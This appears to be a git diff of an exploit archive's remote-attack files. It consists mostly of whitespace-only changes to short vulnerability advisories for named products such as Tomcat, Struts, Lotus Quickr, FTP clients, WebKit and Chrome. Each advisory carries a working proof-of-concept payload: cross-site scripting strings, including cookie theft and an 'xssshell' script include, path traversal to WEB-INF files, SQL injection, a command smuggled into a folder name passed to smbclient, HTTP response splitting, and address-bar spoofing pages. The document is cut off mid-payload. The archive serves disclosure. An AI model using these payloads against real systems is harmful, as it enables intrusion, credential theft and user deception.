b/platforms/multiple/remote/30973.txt @@ -4,4 +4,4 @@ InfoSoft FusionCharts is prone to a remote code-execution vulnerability because An attacker can exploit this issue to execute malicious script code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//www.example2.com/DoKnowEvil.swf%3F.jpg%22%3E \ No newline at end of file +http://www.example.com/Example.swf?debugMode=1&dataURL=%27%3E%3Cimg+src%3D%22http%3A//www.example2.com/DoKnowEvil.swf%3F.jpg%22%3E \ No newline at end of file diff --git a/platforms/multiple/remote/31047.txt b/platforms/multiple/remote/31047.txt index 8f564d0be..f7fe328b6 100755 --- a/platforms/multiple/remote/31047.txt +++ b/platforms/multiple/remote/31047.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to sIFR 2.0.3 and 3r278 are vulnerable. -https://www.example.com/<fontname>.swf?txt=<a href="http://www.example2.com">click me!</a> http://www.example.com/fonts/FuturaLt.swf?txt=%3Ca%20href=%22javascript:alert(document.cookie)%22%3Eclick%20me!%3C/a%3E&textalign=left&offsetTop=-2&textcolor= \ No newline at end of file +https://www.example.com/<fontname>.swf?txt=<a href="http://www.example2.com">click me!</a> http://www.example.com/fonts/FuturaLt.swf?txt=%3Ca%20href=%22javascript:alert(document.cookie)%22%3Eclick%20me!%3C/a%3E&textalign=left&offsetTop=-2&textcolor= \ No newline at end of file diff --git a/platforms/multiple/remote/31130.txt b/platforms/multiple/remote/31130.txt index 0b81ab261..484e8ed9f 100755 --- a/platforms/multiple/remote/31130.txt +++ b/platforms/multiple/remote/31130.txt @@ -16,4 +16,4 @@ Cookie: name1=moi +++ http://www.example.com/examples/servlets/servlet/CookieExample?cookiename=test&cookievalue=test%5c%5c%22%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC% -3B+Path%3D%2Fservlets-examples%2Fservlet+%3B \ No newline at end of file +3B+Path%3D%2Fservlets-examples%2Fservlet+%3B \ No newline at end of file diff --git a/platforms/multiple/remote/31279.txt b/platforms/multiple/remote/31279.txt index bd9f0b947..09b09e358 100755 --- a/platforms/multiple/remote/31279.txt +++ b/platforms/multiple/remote/31279.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Lotus Quickr 8.0 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/main.nsf/h_Toc/2a922d48c75dd00b052567080016723a/?OpenDocument&Count='20"><iframe/%20/onload=alert(/XSSByNirG/<http://www.example.com/QuickPlace/leg/main.nsf/h_Toc/2a922d48c75dd00b052567080016723a/?OpenDocument&Count='20%22%3E%3Ciframe/%20/onload=alert(/XSSByNirG/>)> \ No newline at end of file +http://www.example.com/[path]/main.nsf/h_Toc/2a922d48c75dd00b052567080016723a/?OpenDocument&Count='20"><iframe/%20/onload=alert(/XSSByNirG/<http://www.example.com/QuickPlace/leg/main.nsf/h_Toc/2a922d48c75dd00b052567080016723a/?OpenDocument&Count='20%22%3E%3Ciframe/%20/onload=alert(/XSSByNirG/>)> \ No newline at end of file diff --git a/platforms/multiple/remote/31362.txt b/platforms/multiple/remote/31362.txt index cd16a0bf6..f2a2c1525 100755 --- a/platforms/multiple/remote/31362.txt +++ b/platforms/multiple/remote/31362.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Neptune Web Server Professional Edition 3.0 is vulnerable; other versions may also be affected. -http://www.example.com/<IMG SRC="javascript:alert('XSS');"> \ No newline at end of file +http://www.example.com/<IMG SRC="javascript:alert('XSS');"> \ No newline at end of file diff --git a/platforms/multiple/remote/31551.txt b/platforms/multiple/remote/31551.txt index 811be9709..31fc7b49e 100755 --- a/platforms/multiple/remote/31551.txt +++ b/platforms/multiple/remote/31551.txt @@ -8,4 +8,4 @@ Tomcat 4.0.3 running on Windows is vulnerable; other versions may also be affect The following example request is available: -GET /lpt9.xtp \ No newline at end of file +GET /lpt9.xtp \ No newline at end of file diff --git a/platforms/multiple/remote/31756.txt b/platforms/multiple/remote/31756.txt index 48a8b124c..638a8b637 100755 --- a/platforms/multiple/remote/31756.txt +++ b/platforms/multiple/remote/31756.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SonicWALL Email Security 6.1.1 is vulnerable; other versions may also be affected. -GET /blah.htm HTTP/1.1 Host: "><script>alert('XSS');</script> \ No newline at end of file +GET /blah.htm HTTP/1.1 Host: "><script>alert('XSS');</script> \ No newline at end of file diff --git a/platforms/multiple/remote/31757.txt b/platforms/multiple/remote/31757.txt index 80f500ba7..b66909338 100755 --- a/platforms/multiple/remote/31757.txt +++ b/platforms/multiple/remote/31757.txt @@ -5,5 +5,5 @@ ZyWALL 100 is prone to a cross-site scripting vulnerability because it fails to An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. GET /blah.htm HTTP/1.1 -Host: www.server +Host: www.site.com Referer: blaaaa"><script>alert(12345)</script>aaaah.htm \ No newline at end of file diff --git a/platforms/multiple/remote/31890.txt b/platforms/multiple/remote/31890.txt index cd84fbd08..9346e2411 100755 --- a/platforms/multiple/remote/31890.txt +++ b/platforms/multiple/remote/31890.txt @@ -6,4 +6,4 @@ An attacker can exploit the HTML-injection issue to run arbitrary HTML and scrip The attacker can exploit the information-disclosure issue via successful man-in-the-middle attacks. Information harvested may aid in further attacks. -<script src="http://example.com/xssshell/"></script> \ No newline at end of file +<script src="http://example.com/xssshell/"></script> \ No newline at end of file diff --git a/platforms/multiple/remote/31920.txt b/platforms/multiple/remote/31920.txt index 0c4aec72c..cb2cd0e70 100755 --- a/platforms/multiple/remote/31920.txt +++ b/platforms/multiple/remote/31920.txt @@ -8,4 +8,4 @@ Secure FTP 2.5.15 for Microsoft Windows is vulnerable; other versions may also b Response to LIST: -\..\..\..\..\..\..\..\..\..\testfile.txt\r\n \ No newline at end of file +\..\..\..\..\..\..\..\..\..\testfile.txt\r\n \ No newline at end of file diff --git a/platforms/multiple/remote/31921.txt b/platforms/multiple/remote/31921.txt index a08fc513f..c4558f003 100755 --- a/platforms/multiple/remote/31921.txt +++ b/platforms/multiple/remote/31921.txt @@ -23,4 +23,4 @@ Response to MLSD (forward-slash): type=file;modify=20080227074710;size=20; /../../../../../../../../../testfile.txt\r\n Response to MLSD (combination): -type=file;modify=20080227074710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n \ No newline at end of file +type=file;modify=20080227074710;size=20; ../..\/..\/..\/../..\/../..\/../testfile.txt\r\n \ No newline at end of file diff --git a/platforms/multiple/remote/31936.txt b/platforms/multiple/remote/31936.txt index 11d10a6cb..bc18774a0 100755 --- a/platforms/multiple/remote/31936.txt +++ b/platforms/multiple/remote/31936.txt @@ -14,4 +14,4 @@ Response to LIST (forward-slash): /../../../../../../../../../testfile.txt\r\n Response to LIST (backslash and forward-slash): -../..\/..\/..\/../..\/../..\/../testfile.txt\r\n \ No newline at end of file +../..\/..\/..\/../..\/../..\/../testfile.txt\r\n \ No newline at end of file diff --git a/platforms/multiple/remote/31941.txt b/platforms/multiple/remote/31941.txt index 275ab9744..d48edc918 100755 --- a/platforms/multiple/remote/31941.txt +++ b/platforms/multiple/remote/31941.txt @@ -8,4 +8,4 @@ Versions prior to WISE-FTP 5.5.9 are vulnerable. Response to LIST: -\..\..\..\..\..\..\..\..\..\testfile.txt\r\n \ No newline at end of file +\..\..\..\..\..\..\..\..\..\testfile.txt\r\n \ No newline at end of file diff --git a/platforms/multiple/remote/31942.txt b/platforms/multiple/remote/31942.txt index 819e9273b..4d7f82cca 100755 --- a/platforms/multiple/remote/31942.txt +++ b/platforms/multiple/remote/31942.txt @@ -9,4 +9,4 @@ Classic FTP 1.02 for Microsoft Windows is vulnerable; other versions may also be Response to LIST: \..\..\..\..\..\..\..\..\..\testfile.txt\r\n -/../../../../../../../../../testfile.txt\r\n \ No newline at end of file +/../../../../../../../../../testfile.txt\r\n \ No newline at end of file diff --git a/platforms/multiple/remote/32084.txt b/platforms/multiple/remote/32084.txt index 8e62673e1..aa080ba7d 100755 --- a/platforms/multiple/remote/32084.txt +++ b/platforms/multiple/remote/32084.txt @@ -10,4 +10,4 @@ Name a folder the following: ' x && xterm &# A shared folder containing this named folder will execute the following command: -/usr/bin/smbclient "//x.x.x.x/vulns" -U "user%pass" -d0 -c 'cd "'x && xterm &#"' -D "/poc" \ No newline at end of file +/usr/bin/smbclient "//x.x.x.x/vulns" -U "user%pass" -d0 -c 'cd "'x && xterm &#"' -D "/poc" \ No newline at end of file diff --git a/platforms/multiple/remote/32110.txt b/platforms/multiple/remote/32110.txt index b457e9aef..fc5b5455e 100755 --- a/platforms/multiple/remote/32110.txt +++ b/platforms/multiple/remote/32110.txt @@ -13,4 +13,4 @@ The following special character in a filename can evade firewall rules: ASCII:? ? ? &#8227; &#8228; &#8229; ? HEX: 86 20 87 20 95 20 26 23 38 32 32 37 3b 20 26 23 38 32 32 38 3b 20 -26 23 38 32 32 39 3b 20 85 \ No newline at end of file +26 23 38 32 32 39 3b 20 85 \ No newline at end of file diff --git a/platforms/multiple/remote/32137.txt b/platforms/multiple/remote/32137.txt index 0ef3899a6..174f4ea27 100755 --- a/platforms/multiple/remote/32137.txt +++ b/platforms/multiple/remote/32137.txt @@ -12,4 +12,4 @@ Tomcat 6.0.0 through 6.0.16 Tomcat 3.x, 4.0.x, and 5.0.x may also be affected. -http://www.example.com/page.jsp?blah=/../WEB-INF/web.xml \ No newline at end of file +http://www.example.com/page.jsp?blah=/../WEB-INF/web.xml \ No newline at end of file diff --git a/platforms/multiple/remote/32167.txt b/platforms/multiple/remote/32167.txt index e05e60504..79b316b43 100755 --- a/platforms/multiple/remote/32167.txt +++ b/platforms/multiple/remote/32167.txt @@ -14,4 +14,4 @@ Host: www.blocked.org GET / HTTP/1.0 X-Decoy: Host: www.allowed.org -Host: www.blocked.org \ No newline at end of file +Host: www.blocked.org \ No newline at end of file diff --git a/platforms/multiple/remote/32382.txt b/platforms/multiple/remote/32382.txt index e34f8d630..5140019e8 100755 --- a/platforms/multiple/remote/32382.txt +++ b/platforms/multiple/remote/32382.txt @@ -6,4 +6,4 @@ An attacker could exploit this issue by constructing a script that would send un This issue affects Accellion File Transfer Appliance prior to FTA_7_0_189. -https://www.example.com/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> HTTP HEADER: Host: [Accelion web server] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv: 1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://[Accelion web server]/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> Content-Type: application/x-www-form-urlencoded Content-Length: 131 POST DATA: description=Could+you+please+close+this+tickets%0D%0A%0D%0ARegards&client_email=email_to_spam% 40victim_domain.com&submit=Soumettre+le+rapport \ No newline at end of file +https://www.example.com/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> HTTP HEADER: Host: [Accelion web server] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv: 1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://[Accelion web server]/courier/1000@/api_error_email.html?id=1002K725PI-888-100Test_SPAM <H1>SPAM_ATTACK</H1> Content-Type: application/x-www-form-urlencoded Content-Length: 131 POST DATA: description=Could+you+please+close+this+tickets%0D%0A%0D%0ARegards&client_email=email_to_spam% 40victim_domain.com&submit=Soumettre+le+rapport \ No newline at end of file diff --git a/platforms/multiple/remote/32458.txt b/platforms/multiple/remote/32458.txt index f3ef47db9..39ebdd699 100755 --- a/platforms/multiple/remote/32458.txt +++ b/platforms/multiple/remote/32458.txt @@ -7,4 +7,4 @@ Attackers can leverage this issue to influence or misrepresent how web content i Versions prior to OpenNMS 1.5.94 are vulnerable. http://www.example.com/opennms/event/query?%0D%0AContent-Length:%200%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text -/html%0D%0AContent-Length:%2036%0D%0A%0D%0A<html><body>BugSec</body></html><!-- \ No newline at end of file +/html%0D%0AContent-Length:%2036%0D%0A%0D%0A<html><body>BugSec</body></html><!-- \ No newline at end of file diff --git a/platforms/multiple/remote/32466.html b/platforms/multiple/remote/32466.html index 5e128fc34..a71c14eb5 100755 --- a/platforms/multiple/remote/32466.html +++ b/platforms/multiple/remote/32466.html @@ -21,4 +21,4 @@ IDList= Prop3=19,2 -<script> function a() { s=""; h=""; for(i=0;i<window.frames.length;i++) { d=window.frames[i].document; for(j=0;j<d.links.length;j++) { u=d.links[j].text s+=u+"\n"; h+="<img src=\""+u+"\">"; } } document.getElementById("t").value=s; document.getElementById("x").innerHTML=h; } </script> <a href="javascript:a();">Start Test</a><br> <a href="javascript:window.location=location.href">Load This Page Again</a><br> <br> <br> <b>List of files that you recently fetched from the internet:</b><br> <textarea rows="10" cols="100" id=t wrap=off>&lt;/textarea&gt; <br> <br> <b>List of images that you recently viewed on the internet:</b><br> <div id=x></div> <br> <br> <iframe width=300 height=200 src="testurl1.url"></iframe> <iframe width=300 height=200 src="testurl2.url"></iframe> \ No newline at end of file +<script> function a() { s=""; h=""; for(i=0;i<window.frames.length;i++) { d=window.frames[i].document; for(j=0;j<d.links.length;j++) { u=d.links[j].text s+=u+"\n"; h+="<img src=\""+u+"\">"; } } document.getElementById("t").value=s; document.getElementById("x").innerHTML=h; } </script> <a href="javascript:a();">Start Test</a><br> <a href="javascript:window.location=location.href">Load This Page Again</a><br> <br> <br> <b>List of files that you recently fetched from the internet:</b><br> <textarea rows="10" cols="100" id=t wrap=off>&lt;/textarea&gt; <br> <br> <b>List of images that you recently viewed on the internet:</b><br> <div id=x></div> <br> <br> <iframe width=300 height=200 src="testurl1.url"></iframe> <iframe width=300 height=200 src="testurl2.url"></iframe> \ No newline at end of file diff --git a/platforms/multiple/remote/32564.txt b/platforms/multiple/remote/32564.txt index f2598f37e..e770e16c0 100755 --- a/platforms/multiple/remote/32564.txt +++ b/platforms/multiple/remote/32564.txt @@ -8,4 +8,4 @@ Versions prior to XWork 2.0.6 are vulnerable. Struts 2.0.0 through 2.0.11.2 cont To set #session.user to '0wn3d': -('\u0023' + 'session[\'user\']')(unused)=0wn3d \ No newline at end of file +('\u0023' + 'session[\'user\']')(unused)=0wn3d \ No newline at end of file diff --git a/platforms/multiple/remote/32565.txt b/platforms/multiple/remote/32565.txt index ba7546b51..09f0b86b8 100755 --- a/platforms/multiple/remote/32565.txt +++ b/platforms/multiple/remote/32565.txt @@ -8,4 +8,4 @@ Versions prior to Struts 2.0.12 are vulnerable. http://www.example.com:8080/struts2-blank-2.0.11.1/struts.. http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f -http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Log\in.class/ \ No newline at end of file +http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Log\in.class/ \ No newline at end of file diff --git a/platforms/multiple/remote/32877.txt b/platforms/multiple/remote/32877.txt index 35db23ef4..8ad8ad069 100755 --- a/platforms/multiple/remote/32877.txt +++ b/platforms/multiple/remote/32877.txt @@ -8,4 +8,4 @@ Versions prior to Xlight FTP Server 3.2.1 are affected. The following example input is available: -User: ' OR '1'='1' ;# \ No newline at end of file +User: ' OR '1'='1' ;# \ No newline at end of file diff --git a/platforms/multiple/remote/32967.txt b/platforms/multiple/remote/32967.txt index c6942aeac..1f2de172c 100755 --- a/platforms/multiple/remote/32967.txt +++ b/platforms/multiple/remote/32967.txt @@ -11,4 +11,4 @@ Versions prior to Openfire 3.6.4 are vulnerable. <username>test2</username> <password>newillegalychangedpassword</password> </query> -</iq> \ No newline at end of file +</iq> \ No newline at end of file diff --git a/platforms/multiple/remote/33023.txt b/platforms/multiple/remote/33023.txt index 731c68a2a..206a288b2 100755 --- a/platforms/multiple/remote/33023.txt +++ b/platforms/multiple/remote/33023.txt @@ -15,4 +15,4 @@ The following example POST data is available: POST /j_security_check HTTP/1.1 Host: www.example.com -j_username=tomcat&j_password=% \ No newline at end of file +j_username=tomcat&j_password=% \ No newline at end of file diff --git a/platforms/multiple/remote/33033.html b/platforms/multiple/remote/33033.html index 292a572f9..f4c957ec6 100755 --- a/platforms/multiple/remote/33033.html +++ b/platforms/multiple/remote/33033.html @@ -6,4 +6,4 @@ A remote attacker can exploit this vulnerability to bypass the same-origin polic NOTE: This issue was previously covered in BID 35260 (Apple Safari Prior to 4.0 Multiple Security Vulnerabilities), but has been assigned its own record to better document it. -<html> <body onunload='intercept()'> <script> function intercept() { setTimeout('update_page()',10); stop(); } function update_page() { document.getElementById('hideme').style.visibility = "hidden"; document.getElementById('showme').style.visibility = "visible"; document.getElementById('sitename').innerHTML = document.location; } </script> <span id=showme style="visibility: hidden"> <font size=+1 color=teal>This is a spoofed version of <b><span id=sitename></span></b></font> </span> <br> <span id=hideme>Please navigate away from this page.</span> \ No newline at end of file +<html> <body onunload='intercept()'> <script> function intercept() { setTimeout('update_page()',10); stop(); } function update_page() { document.getElementById('hideme').style.visibility = "hidden"; document.getElementById('showme').style.visibility = "visible"; document.getElementById('sitename').innerHTML = document.location; } </script> <span id=showme style="visibility: hidden"> <font size=+1 color=teal>This is a spoofed version of <b><span id=sitename></span></b></font> </span> <br> <span id=hideme>Please navigate away from this page.</span> \ No newline at end of file diff --git a/platforms/multiple/remote/33047.html b/platforms/multiple/remote/33047.html index ecf6414f9..2ff8c3911 100755 --- a/platforms/multiple/remote/33047.html +++ b/platforms/multiple/remote/33047.html @@ -4,4 +4,4 @@ WebKit is prone to a cross-domain scripting vulnerability. A remote attacker can exploit this vulnerability to bypass the same-origin policy and obtain potentially sensitive information or launch spoofing attacks against other sites. Other attacks are also possible. -<iframe src="http://www.example.com/safari/safari2.html" onload="this.contentWindow.parent=this.contentWindow.top=alert;"></iframe> \ No newline at end of file +<iframe src="http://www.example.com/safari/safari2.html" onload="this.contentWindow.parent=this.contentWindow.top=alert;"></iframe> \ No newline at end of file diff --git a/platforms/multiple/remote/33078.txt b/platforms/multiple/remote/33078.txt index 694ff3a38..fa00226fe 100755 --- a/platforms/multiple/remote/33078.txt +++ b/platforms/multiple/remote/33078.txt @@ -9,4 +9,4 @@ ProCurve Threat Management Services zl Module J9155A running vST.1.0.090213 firm 1. Go to VPN-->Certificates--> CRL page and load a CRL list. 2. Save the entire configuration. 3. Reboot the TMS zl Module. -4. Once the TMS zl Module is available, go to VPN--> Certificates--> CRL page and the CRL is no longer available. \ No newline at end of file +4. Once the TMS zl Module is available, go to VPN--> Certificates--> CRL page and the CRL is no longer available. \ No newline at end of file diff --git a/platforms/multiple/remote/33079.txt b/platforms/multiple/remote/33079.txt index 4ab849ae9..259aa0e8a 100755 --- a/platforms/multiple/remote/33079.txt +++ b/platforms/multiple/remote/33079.txt @@ -6,4 +6,4 @@ The attacker may leverage this issue to execute arbitrary script code in the bro This vulnerability affects Oracle WebLogic Server 10.3. -http://www.example.com:7011/consolehelp/console-help.portal?_nfpb=true&_pageLabel=ConsoleHelpSearchPage&searchQuery="><script>alert('DSECRG')</script> \ No newline at end of file +http://www.example.com:7011/consolehelp/console-help.portal?_nfpb=true&_pageLabel=ConsoleHelpSearchPage&searchQuery="><script>alert('DSECRG')</script> \ No newline at end of file diff --git a/platforms/multiple/remote/33118.html b/platforms/multiple/remote/33118.html index 5f7513168..793af8d67 100755 --- a/platforms/multiple/remote/33118.html +++ b/platforms/multiple/remote/33118.html @@ -8,4 +8,4 @@ Safari 4.0.1 is affected; other versions may also be vulnerable. This issue is similar to the vulnerability discussed in BID 35803 (Mozilla Firefox Error Page Address Bar URI Spoofing Vulnerability). -</script> <center> <h1>Firefox spoofing</h1> </center> <p> <a href="javascript:spoof()">test!</a> <p> <script> function spoof() { a = window.open("http://www.example.com%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,") a.document.write("<H1>FAKE PAGE<\h1>") a.document.write("<title>test</title>") a.stop (); } </script> <br> Juan Pablo Lopez Yacubian \ No newline at end of file +</script> <center> <h1>Firefox spoofing</h1> </center> <p> <a href="javascript:spoof()">test!</a> <p> <script> function spoof() { a = window.open("http://www.example.com%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,") a.document.write("<H1>FAKE PAGE<\h1>") a.document.write("<title>test</title>") a.stop (); } </script> <br> Juan Pablo Lopez Yacubian \ No newline at end of file diff --git a/platforms/multiple/remote/33123.html b/platforms/multiple/remote/33123.html index 94a6f5f54..2ea90a2e9 100755 --- a/platforms/multiple/remote/33123.html +++ b/platforms/multiple/remote/33123.html @@ -8,4 +8,4 @@ Chrome 2.0.172.37 is vulnerable; other versions may also be affected. This issue is similar to the vulnerabilities discussed in BID 35803 (Mozilla Firefox Error Page Address Bar URI Spoofing Vulnerability) and BID 35829 (Apple Safari Error Page Address Bar URI Spoofing Vulnerability). -<center> <h1>Chrome about:blank Spoof</h1> </center> This vulnerability is based on http://www.securityfocus.com/bid/35829/ and http://www.securityfocus.com/bid/35803 by Juan Pablo Lopez Yacubian and Michael Wood. <p> <a href='javascript:spoof()'><<h2>test Spoof !!</h2></a> <p> <script> function spoof() { a = window.open('http://www.example.com%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20,') a.document.write('<H1>FAKE PAGE<\h1>') a.document.write('<title>test</title>') a.stop (); } </script> \ No newline at end of file +<center> <h1>Chrome about:blank Spoof</h1> </center> This vulnerability is based on http://www.securityfocus.com/bid/35829/ and http://www.securityfocus.com/bid/35803 by Juan Pablo Lopez Yacubian and Michael Wood. <p> <a href='javascript:spoof()'><<h2>test Spoof !!</h2></a> <p> <script> function spoof() { a = window.open('http://www.example.com%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 